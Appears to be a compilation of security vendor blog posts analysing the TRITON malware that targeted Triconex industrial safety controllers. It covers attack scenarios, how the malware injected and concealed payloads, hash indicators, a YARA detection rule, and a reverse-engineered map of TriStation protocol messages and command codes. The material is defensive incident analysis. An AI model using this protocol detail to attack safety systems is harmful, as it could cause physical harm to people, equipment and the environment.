Attack Option 2: Reprogram the SIS to allow an unsafe state

  • The attacker can reprogram the SIS logic to allow unsafe conditions to persist.
  • Implication: Increased risk that a hazardous situation will cause physical consequences (e.g. impact to equipment, product, environment and human safety) due to a loss of SIS functionality.

Attack Option 3: Reprogram the SIS to allow an unsafe state – while using the DCS to create an unsafe state or hazard

  • The attacker can manipulate the process into an unsafe state from the DCS while preventing the SIS from functioning appropriately.
  • Implication: Impact to human safety, the environment, or damage to equipment, the extent of which depends on the physical constraints of the process and the plant design.

Analysis of Attacker Intent

We assess with moderate confidence that the attacker’s long-term objective was to develop the capability to cause a physical consequence. We base this on the fact that the attacker initially obtained a reliable foothold on the DCS and could have developed the capability to manipulate the process or shutdown the plant, but instead proceeded to compromise the SIS system. Compromising both the DCS and SIS system would enable the attacker to develop and carry out an attack that causes the maximum amount of damage allowed by the physical and mechanical safeguards in place.

Once on the SIS network, the attacker used their pre-built TRITON attack framework to interact with the SIS controllers using the TriStation protocol. The attacker could have caused a process shutdown by issuing a halt command or intentionally uploading flawed code to the SIS controller to cause it to fail. Instead, the attacker made several attempts over a period of time to develop and deliver functioning control logic for the SIS controllers in this target environment. While these attempts appear to have failed due one of the attack scripts’ conditional checks, the attacker persisted with their efforts. This suggests the attacker was intent on causing a specific outcome beyond a process shutdown.

Of note, on several occasions, we have observed evidence of long term intrusions into ICS which were not ultimately used to disrupt or disable operations. For instance, Russian operators, such as Sandworm Team, have compromised Western ICS over a multi-year period without causing a disruption.

Summary of Malware Capabilities

The TRITON attack tool was built with a number of features, including the ability to read and write programs, read and write individual functions and query the state of the SIS controller. However, only some of these capabilities were leveraged in the trilog.exe sample (e.g. the attacker did not leverage all of TRITON’s extensive reconnaissance capabilities).

The TRITON malware contained the capability to communicate with Triconex SIS controllers (e.g. send specific commands such as halt or read its memory content) and remotely reprogram them with an attacker-defined payload. The TRITON sample Mandiant analyzed added an attacker-provided program to the execution table of the Triconex controller. This sample left legitimate programs in place, expecting the controller to continue operating without a fault or exception. If the controller failed, TRITON would attempt to return it to a running state. If the controller did not recover within a defined time window, this sample would overwrite the malicious program with invalid data to cover its tracks.

Recommendations

Asset owners who wish to defend against the capabilities demonstrated in the incident, should consider the following controls:

  • Where technically feasible, segregate safety system networks from process control and information system networks. Engineering workstations capable of programming SIS controllers should not be dual-homed to any other DCS process control or information system network.
  • Leverage hardware features that provide for physical control of the ability to program safety controllers. These usually take the form of switches controlled by a physical key. On Triconex controllers, keys should not be left in the PROGRAM mode other than during scheduled programming events.
  • Implement change management procedures for changes to key position. Audit current key state regularly.
  • Use a unidirectional gateway rather than bidirectional network connections for any applications that depend on the data provided by the SIS.
  • Implement strict access control and application whitelisting on any server or workstation endpoints that can reach the SIS system over TCP/IP.
  • Monitor ICS network traffic for unexpected communication flows and other anomalous activity.


Figure 3: Triconex Key Switch (source)

Appendix: Technical Analysis


Figure 4: TRITON Architecture and Attack Scenario

TRITON was deployed on an SIS engineering workstation running the Microsoft Windows operating system. The malware was named to masquerade as the legitimate Triconex Trilog application. This application is used for reviewing logs and is a part of the TriStation application suite. The malware was delivered as a Py2EXE compiled python script dependent on a zip file containing standard Python libraries, open source libraries, as well as the attacker-developed Triconex attack framework for interacting with the Triconex controllers. Along with the executable, two binary files, inject.bin (malicious function code) and imain.bin (malicious control logic), were deployed as the controller’s payload. These file names were hard coded in the Py2EXE compiled python script.

Trilog.exe took one option from the command line, which was a single IP address of the target Triconex device. It did not leverage the underlying TRITON library’s capability for Triconex device discovery, instead an instance of trilog.exe had to be invoked separately for each target controller in the environment. Once invoked, trilog.exe checked the status of the controller, then read the configuration information exposed by the TriStation protocol. If the controller was in a running state, trilog.exe encoded the two payload files inject.bin and imain.bin and passed them to the communication libraries to be appended to the controller’s program memory and execution table.

After payload files were inserted into memory on the Triconex controller, the script initiated a countdown, periodically checking the status of the controller. If an error was detected, the communication library’s method SafeAppendProgramMod attempted to reset the controller to the previous state using a TriStation protocol command. If this failed, trilog.exe attempted to write a small ‘dummy’ program to memory. We assess that this was an anti-forensics technique to hide the presence of the attacker code on the Triconex controller.

Working with the asset owner, Mandiant ran trilog.exe in a lab environment with a valid Triconex controller and discovered a conditional check in the malware that prevented the payload binary from persisting in the environment. Mandiant confirmed that, after correcting patching the attack script to remove this check, the payload binary would persist in controller memory, and the controller would continue to run.

TRITON implements the TriStation protocol, which is the protocol used by the legitimate TriStation application, to configure controllers.

TsHi is the high-level interface created by the malware’s authors that allows the threat actor’s operators to implement attack scripts using the TRITON framework. It exposes functions for both reconnaissance and attack. The functions generally accept binary data from the user, and handle the code ‘signing’ and check sums prior to passing the data to lower level libraries for serialization on to the network.

TsBase, another attacker-written module, contains the functions called by TsHi, which translate the attacker’s intended action to the appropriate TriStation protocol function code. For certain functions, it also packs and pads the data in to the appropriate format.

TsLow is an additional attacker module that implements the TriStation UDP wire protocol. The TsBase library primarily depends on the ts_exec method. This method takes the function code and expected response code, and serializes the commands payload over UDP. It checks the response from the controller against the expected value and returns a result data structure indicating success or a False object representing failure.

TsLow also exposes the connect method used to check connectivity to the target controller. If invoked with no targets, it runs the device discovery function detect_ip. This leverages a "ping" message over the TriStation protocol using IP broadcast to find controllers that are reachable via a router from where the script is invoked.

Indicators

Filename

Hash

trilog.exe

MD5: 6c39c3f4a08d3d78f2eb973a94bd7718
SHA-256:
e8542c07b2af63ee7e72ce5d97d91036c5da56e2b091aa2afe737b224305d230

imain.bin

MD5: 437f135ba179959a580412e564d3107f
SHA-256:
08c34c6ac9186b61d9f29a77ef5e618067e0bc9fe85cab1ad25dc6049c376949

inject.bin

MD5: 0544d425c7555dc4e9d76b571f31f500
SHA-256:
5fc4b0076eac7aa7815302b0c3158076e3569086c4c6aa2f71cd258238440d14

library.zip

MD5: 0face841f7b2953e7c29c064d6886523
SHA-256:
bef59b9a3e00a14956e0cd4a1f3e7524448cbe5d3cc1295d95a15b83a3579c59

TS_cnames.pyc

MD5: e98f4f3505f05bf90e17554fbc97bba9
SHA-256:
2c1d3d0a9c6f76726994b88589219cb8d9c39dd9924bc8d2d02bf41d955fe326

TsBase.pyc

MD5: 288166952f934146be172f6353e9a1f5
SHA-256:
1a2ab4df156ccd685f795baee7df49f8e701f271d3e5676b507112e30ce03c42

TsHi.pyc

MD5: 27c69aa39024d21ea109cc9c9d944a04
SHA-256:
758598370c3b84c6fbb452e3d7119f700f970ed566171e879d3cb41102154272

TsLow.pyc

MD5: f6b3a73c8c87506acda430671360ce15
SHA-256:
5c776a33568f4c16fee7140c249c0d2b1e0798a96c7a01bfd2d5684e58c9bb32

sh.pyc

MD5: 8b675db417cc8b23f4c43f3de5c83438
SHA-256:
c96ed56bf7ee85a4398cc43a98b4db86d3da311c619f17c8540ae424ca6546e1

Detection

rule TRITON_ICS_FRAMEWORK
{
      meta:
          author = "nicholas.carr @itsreallynick"
          md5 = "0face841f7b2953e7c29c064d6886523"
          description = "TRITON framework recovered during Mandiant ICS incident response"
      strings:
          $python_compiled = ".pyc" nocase ascii wide
          $python_module_01 = "__module__" nocase ascii wide
          $python_module_02 = "<module>" nocase ascii wide
          $python_script_01 = "import Ts" nocase ascii wide
          $python_script_02 = "def ts_" nocase ascii wide  

          $py_cnames_01 = "TS_cnames.py" nocase ascii wide
          $py_cnames_02 = "TRICON" nocase ascii wide
          $py_cnames_03 = "TriStation " nocase ascii wide
          $py_cnames_04 = " chassis " nocase ascii wide  

          $py_tslibs_01 = "GetCpStatus" nocase ascii wide
          $py_tslibs_02 = "ts_" ascii wide
          $py_tslibs_03 = " sequence" nocase ascii wide
          $py_tslibs_04 = /import Ts(Hi|Low|Base)[^:alpha:]/ nocase ascii wide
          $py_tslibs_05 = /module\s?version/ nocase ascii wide
          $py_tslibs_06 = "bad " nocase ascii wide
          $py_tslibs_07 = "prog_cnt" nocase ascii wide  

          $py_tsbase_01 = "TsBase.py" nocase ascii wide
          $py_tsbase_02 = ".TsBase(" nocase ascii wide 
         
          $py_tshi_01 = "TsHi.py" nocase ascii wide
          $py_tshi_02 = "keystate" nocase ascii wide
          $py_tshi_03 = "GetProjectInfo" nocase ascii wide
          $py_tshi_04 = "GetProgramTable" nocase ascii wide
          $py_tshi_05 = "SafeAppendProgramMod" nocase ascii wide
          $py_tshi_06 = ".TsHi(" ascii nocase wide  

          $py_tslow_01 = "TsLow.py" nocase ascii wide
          $py_tslow_02 = "print_last_error" ascii nocase wide
          $py_tslow_03 = ".TsLow(" ascii nocase wide
          $py_tslow_04 = "tcm_" ascii wide
          $py_tslow_05 = " TCM found" nocase ascii wide  

          $py_crc_01 = "crc.pyc" nocase ascii wide
          $py_crc_02 = "CRC16_MODBUS" ascii wide
          $py_crc_03 = "Kotov Alaxander" nocase ascii wide
          $py_crc_04 = "CRC_CCITT_XMODEM" ascii wide
          $py_crc_05 = "crc16ret" ascii wide
          $py_crc_06 = "CRC16_CCITT_x1D0F" ascii wide
          $py_crc_07 = /CRC16_CCITT[^_]/ ascii wide  

          $py_sh_01 = "sh.pyc" nocase ascii wide  

          $py_keyword_01 = " FAILURE" ascii wide
          $py_keyword_02 = "symbol table" nocase ascii wide  

          $py_TRIDENT_01 = "inject.bin" ascii nocase wide
          $py_TRIDENT_02 = "imain.bin" ascii nocase wide  

      condition:
          2 of ($python_*) and 7 of ($py_*) and filesize < 3MB
}

A Totally Tubular Treatise on TRITON and TriStation

7 June 2018 at 14:00

Introduction

In December 2017, FireEye's Mandiant discussed an incident response involving the TRITON framework. The TRITON attack and many of the publicly discussed ICS intrusions involved routine techniques where the threat actors used only what is necessary to succeed in their mission. For both INDUSTROYER and TRITON, the attackers moved from the IT network to the OT (operational technology) network through systems that were accessible to both environments. Traditional malware backdoors, Mimikatz distillates, remote desktop sessions, and other well-documented, easily-detected attack methods were used throughout these intrusions.

Despite the routine techniques employed to gain access to an OT environment, the threat actors behind the TRITON malware framework invested significant time learning about the Triconex Safety Instrumented System (SIS) controllers and TriStation, a proprietary network communications protocol. The investment and purpose of the Triconex SIS controllers leads Mandiant to assess the attacker's objective was likely to build the capability to cause physical consequences.

TriStation remains closed source and there is no official public information detailing the structure of the protocol, raising several questions about how the TRITON framework was developed. Did the actor have access to a Triconex controller and TriStation 1131 software suite? When did development first start? How did the threat actor reverse engineer the protocol, and to what extent? What is the protocol structure?

FireEye’s Advanced Practices Team was born to investigate adversary methodologies, and to answer these types of questions, so we started with a deeper look at the TRITON’s own Python scripts.

Glossary:

  • TRITON – Malware framework designed to operate Triconex SIS controllers via the TriStation protocol.
  • TriStation – UDP network protocol specific to Triconex controllers.
  • TRITON threat actor – The human beings who developed, deployed and/or operated TRITON.

Diving into TRITON's Implementation of TriStation

TriStation is a proprietary network protocol and there is no public documentation detailing its structure or how to create software applications that use TriStation. The current TriStation UDP/IP protocol is little understood, but natively implemented through the TriStation 1131 software suite. TriStation operates by UDP over port 1502 and allows for communications between designated masters (PCs with the software that are “engineering workstations”) and clients (Triconex controllers with special communications modules) over a network.

To us, the Triconex systems, software and associated terminology sound foreign and complicated, and the TriStation protocol is no different. Attempting to understand the protocol from ground zero would take a considerable amount of time and reverse engineering effort – so why not learn from TRITON itself? With the TRITON framework containing TriStation communication functionality, we pursued studying the framework to better understand this mysterious protocol. Work smarter, not harder, amirite?

The TRITON framework has a multitude of functionalities, but we started with the basic components:

  • TS_cnames.pyc # Compiled at: 2017-08-03 10:52:33
  • TsBase.pyc # Compiled at: 2017-08-03 10:52:33
  • TsHi.pyc # Compiled at: 2017-08-04 02:04:01
  • TsLow.pyc # Compiled at: 2017-08-03 10:46:51

TsLow.pyc (Figure 1) contains several pieces of code for error handling, but these also present some cues to the protocol structure.


Figure 1: TsLow.pyc function print_last_error()

In the TsLow.pyc’s function for print_last_error we see error handling for “TCM Error”. This compares the TriStation packet value at offset 0 with a value in a corresponding array from TS_cnames.pyc (Figure 2), which is largely used as a “dictionary” for the protocol.


Figure 2: TS_cnames.pyc TS_cst array

From this we can infer that offset 0 of the TriStation protocol contains message types. This is supported by an additional function, tcm_result, which declares type, size = struct.unpack('<HH', data_received[0:4]), stating that the first two bytes should be handled as integer type and the second two bytes are integer size of the TriStation message. This is our first glimpse into what the threat actor(s) understood about the TriStation protocol.

Since there are only 11 defined message types, it really doesn't matter much if the type is one byte or two because the second byte will always be 0x00.

We also have indications that message type 5 is for all Execution Command Requests and Responses, so it is curious to observe that the TRITON developers called this “Command Reply.” (We won’t understand this naming convention until later.)

Next we examine TsLow.pyc’s print_last_error function (Figure 3) to look at “TS Error” and “TS_names.” We begin by looking at the ts_err variable and see that it references ts_result.


Figure 3: TsLow.pyc function print_last_error() with ts_err highlighted

We follow that thread to ts_result, which defines a few variables in the next 10 bytes (Figure 4): dir, cid, cmd, cnt, unk, cks, siz = struct.unpack('<, ts_packet[0:10]). Now things are heating up. What fun. There’s a lot to unpack here, but the most interesting thing is how this piece script breaks down 10 bytes from ts_packet into different variables.


Figure 4: ts_result with ts_packet header variables highlighted


Figure 5: tcm_result

Referencing tcm_result (Figure 5) we see that it defines type and size as the first four bytes (offset 0 – 3) and tcm_result returns the packet bytes 4:-2 (offset 4 to the end minus 2, because the last two bytes are the CRC-16 checksum). Now that we know where tcm_result leaves off, we know that the ts_reply “cmd” is a single byte at offset 6, and corresponds to the values in the TS_cnames.pyc array and TS_names (Figure 6). The TRITON script also tells us that any integer value over 100 is a likely “command reply.” Sweet.

When looking back at the ts_result packet header definitions, we begin to see some gaps in the TRITON developer's knowledge: dir, cid, cmd, cnt, unk, cks, siz = struct.unpack('<, ts_packet[0:10]). We're clearly speculating based on naming conventions, but we get an impression that offsets 4, 5 and 6 could be "direction", "controller ID" and "command", respectively. Values such as "unk" show that the developer either did not know or did not care to identify this value. We suspect it is a constant, but this value is still unknown to us.


Figure 6: Excerpt TS_cnames.pyc TS_names array, which contain TRITON actor’s notes for execution command function codes

TriStation Protocol Packet Structure

The TRITON threat actor’s knowledge and reverse engineering effort provides us a better understanding of the protocol. From here we can start to form a more complete picture and document the basic functionality of TriStation. We are primarily interested in message type 5, Execution Command, which best illustrates the overall structure of the protocol. Other, smaller message types will have varying structure.


Figure 7: Sample TriStation "Allocate Program" Execution Command, with color annotation and protocol legend

Corroborating the TriStation Analysis

Minute discrepancies aside, the TriStation structure detailed in Figure 7 is supported by other public analyses. Foremost, researchers from the Coordinated Science Laboratory (CSL) at University of Illinois at Urbana-Champaign published a 2017 paper titled "Attack Induced Common-Mode Failures on PLC-based Safety System in a Nuclear Power Plant". The CSL team mentions that they used the Triconex System Access Application (TSAA) protocol to reverse engineer elements of the TriStation protocol. TSAA is a protocol developed by the same company as TriStation. Unlike TriStation, the TSAA protocol structure is described within official documentation. CSL assessed similarities between the two protocols would exist and they leveraged TSAA to better understand TriStation. The team's overall research and analysis of the general packet structure aligns with our TRITON-sourced packet structure.

There are some awesome blog posts and whitepapers out there that support our findings in one way or another. Writeups by Midnight Blue Labs, Accenture, and US-CERT each explain how the TRITON framework relates to the TriStation protocol in superb detail.

TriStation's Reverse Engineering and TRITON's Development

When TRITON was discovered, we began to wonder how the TRITON actor reverse engineered TriStation and implemented it into the framework. We have a lot of theories, all of which seemed plausible: Did they build, buy, borrow, or steal? Or some combination thereof?

Our initial theory was that the threat actor purchased a Triconex controller and software for their own testing and reverse engineering from the "ground up", although if this was the case we do not believe they had a controller with the exact vulnerable firmware version, else they would have had fewer problems with TRITON in practice at the victim site. They may have bought or used a demo version of the TriStation 1131 software, allowing them to reverse engineer enough of TriStation for the framework. They may have stolen TriStation Python libraries from ICS companies, subsidiaries or system integrators and used the stolen material as a base for TriStation and TRITON development. But then again, it is possible that they borrowed TriStation software, Triconex hardware and Python connectors from government-owned utility that was using them legitimately.

Looking at the raw TRITON code, some of the comments may appear oddly phrased, but we do get a sense that the developer is clearly using many of the right vernacular and acronyms, showing smarts on PLC programming. The TS_cnames.pyc script contains interesting typos such as 'Set lable', 'Alocate network accepted', 'Symbol table ccepted' and 'Set program information reponse'. These appear to be normal human error and reflect neither poor written English nor laziness in coding. The significant amount of annotation, cascading logic, and robust error handling throughout the code suggests thoughtful development and testing of the framework. This complicates the theory of "ground up" development, so did they base their code on something else?

While learning from the TriStation functionality within TRITON, we continued to explore legitimate TriStation software. We began our search for "TS1131.exe" and hit dead ends sorting through TriStation DLLs until we came across a variety of TriStation utilities in MSI form. We ultimately stumbled across a juicy archive containing "Trilog v4." Upon further inspection, this file installed "TriLog.exe," which the original TRITON executable mimicked, and a couple of supporting DLLs, all of which were timestamped around August 2006.

When we saw the DLL file description "Tricon Communications Interface" and original file name "TricCom.DLL", we knew we were in the right place. With a simple look at the file strings, "BAZINGA!" We struck gold.

File Name

tr1com40.dll

MD5

069247DF527A96A0E048732CA57E7D3D

Size

110592

Compile Date

2006-08-23

File Description

Tricon Communications Interface

Product Name

TricCom Dynamic Link Library

File Version

4.2.441

Original File Name

TricCom.DLL

Copyright

Copyright © 1993-2006 Triconex Corporation

The tr1com40.DLL is exactly what you would expect to see in a custom application package. It is a library that helps support the communications for a Triconex controller. If you've pored over TRITON as much as we have, the moment you look at strings you can see the obvious overlaps between the legitimate DLL and TRITON's own TS_cnames.pyc.


Figure 8: Strings excerpt from tr1com40.DLL

Each of the execution command "error codes" from TS_cnames.pyc are in the strings of tr1com40.DLL (Figure 8). We see "An MP has re-educated" and "Invalid Tristation I command". Even misspelled command strings verbatim such as "Non-existant data item" and "Alocate network accepted". We also see many of the same unknown values. What is obvious from this discovery is that some of the strings in TRITON are likely based on code used in communications libraries for Trident and Tricon controllers.

In our brief survey of the legitimate Triconex Corporation binaries, we observed a few samples with related string tables.

Pe:dllname

Compile Date

Reference CPP Strings Code

Lagcom40.dll

2004/11/19

$Workfile:   LAGSTRS.CPP  $ $Modtime:   Jul 21 1999 17:17:26  $ $Revision:   1.0

Tr1com40.dll

2006/08/23

$Workfile:   TR1STRS.CPP  $ $Modtime:   May 16 2006 09:55:20  $ $Revision:   1.4

Tridcom.dll

2008/07/23

$Workfile:   LAGSTRS.CPP  $ $Modtime:   Jul 21 1999 17:17:26  $ $Revision:   1.0

Triccom.dll

2008/07/23

$Workfile:   TR1STRS.CPP  $ $Modtime:   May 16 2006 09:55:20  $ $Revision:   1.4

Tridcom.dll

2010/09/29

$Workfile:   LAGSTRS.CPP  $ $Modtime:   Jul 21 1999 17:17:26  $ $Revision:   1.0 

Tr1com.dll

2011/04/27

$Workfile:   TR1STRS.CPP  $ $Modtime:   May 16 2006 09:55:20  $ $Revision:   1.4

Lagcom.dll

2011/04/27

$Workfile:   LAGSTRS.CPP  $ $Modtime:   Jul 21 1999 17:17:26  $ $Revision:   1.0

Triccom.dll

2011/04/27

$Workfile:   TR1STRS.CPP  $ $Modtime:   May 16 2006 09:55:20  $ $Revision:   1.4

We extracted the CPP string tables in TR1STRS and LAGSTRS and the TS_cnames.pyc TS_names array from TRITON, and compared the 210, 204, and 212 relevant strings from each respective file.

TS_cnames.pyc TS_names and tr1com40.dll share 202 of 220 combined table strings. The remaining strings are unique to each, as seen here:

TS_cnames.TS_names (2017 pyc)

Tr1com40.dll (2006 CPP)

Go to DOWNLOAD mode

<200>

Not set

<209>

Unk75

Bad message from module

Unk76

Bad message type

Unk77

Bad TMI version number

Unk78

Module did not respond

Unk79

Open Connection: Invalid SAP %d

Unk81

Unsupported message for this TMI version

Unk83

 

Wrong command

 

TS_cnames.pyc TS_names and Tridcom.dll (1999 CPP) shared only 151 of 268 combined table strings, showing a much smaller overlap with the seemingly older CPP library. This makes sense based on the context that Tridcom.dll is meant for a Trident controller, not a Tricon controller. It does seem as though Tr1com40.dll and TR1STRS.CPP code was based on older work.

We are not shocked to find that the threat actor reversed legitimate code to bolster development of the TRITON framework. They want to work smarter, not harder, too. But after reverse engineering legitimate software and implementing the basics of the TriStation, the threat actors still had an incomplete understanding of the protocol. In TRITON's TS_cnames.pyc we saw "Unk75", "Unk76", "Unk83" and other values that were not present in the tr1com40.DLL strings, indicating that the TRITON threat actor may have explored the protocol and annotated their findings beyond what they reverse engineered from the DLL. The gaps in TriStation implementation show us why the actors encountered problems interacting with the Triconex controllers when using TRITON in the wild.

You can see more of the Trilog and Triconex DLL files on VirusTotal.

Item Name

MD5

Description

Tr1com40.dll

069247df527a96a0e048732ca57e7d3d

Tricom Communcations DLL

Data1.cab

e6a3c93a6d433cbaf6f573b6c09d76c4

Parent of Tr1com40.dll

Trilog v4.1.360R

13a3b83ba2c4236ca59aba679941c8a5

RAR Archive of TriLog

TridCom.dll

5c2ed617fdec4779cb33c89082a43100

Trident Communications DLL

Afterthoughts

Seeing Triconex systems targeted with malicious intent was new to the world six months ago. Moving forward it would be reasonable to anticipate additional frameworks, such as TRITON, designed for usage against other SIS controllers and associated technologies. If Triconex was within scope, we may see similar attacker methodologies affecting the dominant industrial safety technologies.

Basic security measures do little to thwart truly persistent threat actors and monitoring only IT networks is not an ideal situation. Visibility into both the IT and OT environments is critical for detecting the various stages of an ICS intrusion. Simple detection concepts such as baseline deviation can provide insight into abnormal activity.

While the TRITON framework was actively in use, how many traditional ICS “alarms” were set off while the actors tested their exploits and backdoors on the Triconex controller? How many times did the TriStation protocol, as implemented in their Python scripts, fail or cause errors because of non-standard traffic? How many TriStation UDP pings were sent and how many Connection Requests? How did these statistics compare to the baseline for TriStation traffic? There are no answers to these questions for now. We believe that we can identify these anomalies in the long run if we strive for increased visibility into ICS technologies.

We hope that by holding public discussions about ICS technologies, the Infosec community can cultivate closer relationships with ICS vendors and give the world better insight into how attackers move from the IT to the OT space. We want to foster more conversations like this and generally share good techniques for finding evil. Since most of all ICS attacks involve standard IT intrusions, we should probably come together to invent and improve any guidelines for how to monitor PCs and engineering workstations that bridge the IT and OT networks. We envision a world where attacking or disrupting ICS operations costs the threat actor their cover, their toolkits, their time, and their freedom. It's an ideal world, but something nice to shoot for.

Thanks and Future Work

There is still much to do for TRITON and TriStation. There are many more sub-message types and nuances for parsing out the nitty gritty details, which is hard to do without a controller of our own. And although we’ve published much of what we learned about the TriStation here on the blog, our work will continue as we continue our study of the protocol.

Thanks to everyone who did so much public research on TRITON and TriStation. We have cited a few individuals in this blog post, but there is a lot more community-sourced information that gave us clues and leads for our research and testing of the framework and protocol. We also have to acknowledge the research performed by the TRITON attackers. We borrowed a lot of your knowledge about TriStation from the TRITON framework itself.

Finally, remember that we're here to collaborate. We think most of our research is right, but if you notice any errors or omissions, or have ideas for improvements, please spear phish contact: [email protected]

Recommended Reading

Appendix A: TriStation Message Type Codes

The following table consists of hex values at offset 0 in the TriStation UDP packets and the associated dictionary definitions, extracted verbatim from the TRITON framework in library TS_cnames.pyc.

Value at 0x0

Message Type

1

Connection Request

2

Connection Response

3

Disconnect Request

4

Disconnect Response

5

Execution Command

6

Ping Command

7

Connection Limit Reached

8

Not Connected

9

MPS Are Dead

10

Access Denied

11

Connection Failed

Appendix B: TriStation Execution Command Function Codes

The following table consists of hex values at offset 6 in the TriStation UDP packets and the associated dictionary definitions, extracted verbatim from the TRITON framework in library TS_cnames.pyc.

Value at 0x6

TS_cnames String

0

0: 'Start download all',

1

1: 'Start download change',

2

2: 'Update configuration',

3

3: 'Upload configuration',

4

4: 'Set I/O addresses',

5

5: 'Allocate network',

6

6: 'Load vector table',

7

7: 'Set calendar',

8

8: 'Get calendar',

9

9: 'Set scan time',

A

10: 'End download all',

B

11: 'End download change',

C

12: 'Cancel download change',

D

13: 'Attach TRICON',

E

14: 'Set I/O address limits',

F

15: 'Configure module',

10

16: 'Set multiple point values',

11

17: 'Enable all points',

12

18: 'Upload vector table',

13

19: 'Get CP status ',

14

20: 'Run program',

15

21: 'Halt program',

16

22: 'Pause program',

17

23: 'Do single scan',

18

24: 'Get chassis status',

19

25: 'Get minimum scan time',

1A

26: 'Set node number',

1B

27: 'Set I/O point values',

1C

28: 'Get I/O point values',

1D

29: 'Get MP status',

1E

30: 'Set retentive values',

1F

31: 'Adjust clock calendar',

20

32: 'Clear module alarms',

21

33: 'Get event log',

22

34: 'Set SOE block',

23

35: 'Record event log',

24

36: 'Get SOE data',

25

37: 'Enable OVD',

26

38: 'Disable OVD',

27

39: 'Enable all OVDs',

28

40: 'Disable all OVDs',

29

41: 'Process MODBUS',

2A

42: 'Upload network',

2B

43: 'Set lable',

2C

44: 'Configure system variables',

2D

45: 'Deconfigure module',

2E

46: 'Get system variables',

2F

47: 'Get module types',

30

48: 'Begin conversion table download',

31

49: 'Continue conversion table download',

32

50: 'End conversion table download',

33

51: 'Get conversion table',

34

52: 'Set ICM status',

35

53: 'Broadcast SOE data available',

36

54: 'Get module versions',

37

55: 'Allocate program',

38

56: 'Allocate function',

39

57: 'Clear retentives',

3A

58: 'Set initial values',

3B

59: 'Start TS2 program download',

3C

60: 'Set TS2 data area',

3D

61: 'Get TS2 data',

3E

62: 'Set TS2 data',

3F

63: 'Set program information',

40

64: 'Get program information',

41

65: 'Upload program',

42

66: 'Upload function',

43

67: 'Get point groups',

44

68: 'Allocate symbol table',

45

69: 'Get I/O address',

46

70: 'Resend I/O address',

47

71: 'Get program timing',

48

72: 'Allocate multiple functions',

49

73: 'Get node number',

4A

74: 'Get symbol table',

4B

75: 'Unk75',

4C

76: 'Unk76',

4D

77: 'Unk77',

4E

78: 'Unk78',

4F

79: 'Unk79',

50

80: 'Go to DOWNLOAD mode',

51

81: 'Unk81',

52

 

53

83: 'Unk83',

54

 

55

 

56

 

57

 

58

 

59

 

5A

 

5B

 

5C

 

5D

 

5E

 

5F

 

60

 

61

 

62

 

63

 

64

100: 'Command rejected',

65

101: 'Download all permitted',

66

102: 'Download change permitted',

67

103: 'Modification accepted',

68

104: 'Download cancelled',

69

105: 'Program accepted',

6A

106: 'TRICON attached',

6B

107: 'I/O addresses set',

6C

108: 'Get CP status response',

6D

109: 'Program is running',

6E

110: 'Program is halted',

6F

111: 'Program is paused',

70

112: 'End of single scan',

71

113: 'Get chassis configuration response',

72

114: 'Scan period modified',

73

115: '<115>',

74

116: '<116>',

75

117: 'Module configured',

76

118: '<118>',

77

119: 'Get chassis status response',

78

120: 'Vectors response',

79

121: 'Get I/O point values response',

7A

122: 'Calendar changed',

7B

123: 'Configuration updated',

7C

124: 'Get minimum scan time response',

7D

125: '<125>',

7E

126: 'Node number set',

7F

127: 'Get MP status response',

80

128: 'Retentive values set',

81

129: 'SOE block set',

82

130: 'Module alarms cleared',

83

131: 'Get event log response',

84

132: 'Symbol table ccepted',

85

133: 'OVD enable accepted',

86

134: 'OVD disable accepted',

87

135: 'Record event log response',

88

136: 'Upload network response',

89

137: 'Get SOE data response',

8A

138: 'Alocate network accepted',

8B

139: 'Load vector table accepted',

8C

140: 'Get calendar response',

8D

141: 'Label set',

8E

142: 'Get module types response',

8F

143: 'System variables configured',

90

144: 'Module deconfigured',

91

145: '<145>',

92

146: '<146>',

93

147: 'Get conversion table response',

94

148: 'ICM print data sent',

95

149: 'Set ICM status response',

96

150: 'Get system variables response',

97

151: 'Get module versions response',

98

152: 'Process MODBUS response',

99

153: 'Allocate program response',

9A

154: 'Allocate function response',

9B

155: 'Clear retentives response',

9C

156: 'Set initial values response',

9D

157: 'Set TS2 data area response',

9E

158: 'Get TS2 data response',

9F

159: 'Set TS2 data response',

A0

160: 'Set program information reponse',

A1

161: 'Get program information response',

A2

162: 'Upload program response',

A3

163: 'Upload function response',

A4

164: 'Get point groups response',

A5

165: 'Allocate symbol table response',

A6

166: 'Program timing response',

A7

167: 'Disable points full',

A8

168: 'Allocate multiple functions response',

A9

169: 'Get node number response',

AA

170: 'Symbol table response',

AB

 

AC

 

AD

 

AE

 

AF

 

B0

 

B1

 

B2

 

B3

 

B4

 

B5

 

B6

 

B7

 

B8

 

B9

 

BA

 

BB

 

BC

 

BD

 

BE

 

BF

 

C0

 

C1

 

C2

 

C3

 

C4

 

C5

 

C6

 

C7

 

C8

200: 'Wrong command',

C9

201: 'Load is in progress',

CA

202: 'Bad clock calendar data',

CB

203: 'Control program not halted',

CC

204: 'Control program checksum error',

CD

205: 'No memory available',

CE

206: 'Control program not valid',

CF

207: 'Not loading a control program',

D0

208: 'Network is out of range',

D1

209: 'Not enough arguments',

D2

210: 'A Network is missing',

D3

211: 'The download time mismatches',

D4

212: 'Key setting prohibits this operation',

D5

213: 'Bad control program version',

D6

214: 'Command not in correct sequence',

D7

215: '<215>',

D8

216: 'Bad Index for a module',

D9

217: 'Module address is invalid',

DA

218: '<218>',

DB

219: '<219>',

DC

220: 'Bad offset for an I/O point',

DD

221: 'Invalid point type',

DE

222: 'Invalid Point Location',

DF

223: 'Program name is invalid',

E0

224: '<224>',

E1

225: '<225>',

E2

226: '<226>',

E3

227: 'Invalid module type',

E4

228: '<228>',

E5

229: 'Invalid table type',

E6

230: '<230>',

E7

231: 'Invalid network continuation',

E8

232: 'Invalid scan time',

E9

233: 'Load is busy',

EA

234: 'An MP has re-educated',

EB

235: 'Invalid chassis or slot',

EC

236: 'Invalid SOE number',

ED

237: 'Invalid SOE type',

EE

238: 'Invalid SOE state',

EF

239: 'The variable is write protected',

F0

240: 'Node number mismatch',

F1

241: 'Command not allowed',

F2

242: 'Invalid sequence number',

F3

243: 'Time change on non-master TRICON',

F4

244: 'No free Tristation ports',

F5

245: 'Invalid Tristation I command',

F6

246: 'Invalid TriStation 1131 command',

F7

247: 'Only one chassis allowed',

F8

248: 'Bad variable address',

F9

249: 'Response overflow',

FA

250: 'Invalid bus',

FB

251: 'Disable is not allowed',

FC

252: 'Invalid length',

FD

253: 'Point cannot be disabled',

FE

254: 'Too many retentive variables',

FF

255: 'LOADER_CONNECT',

 

256: 'Unknown reject code'

FLARE VM Update

14 November 2018 at 20:00

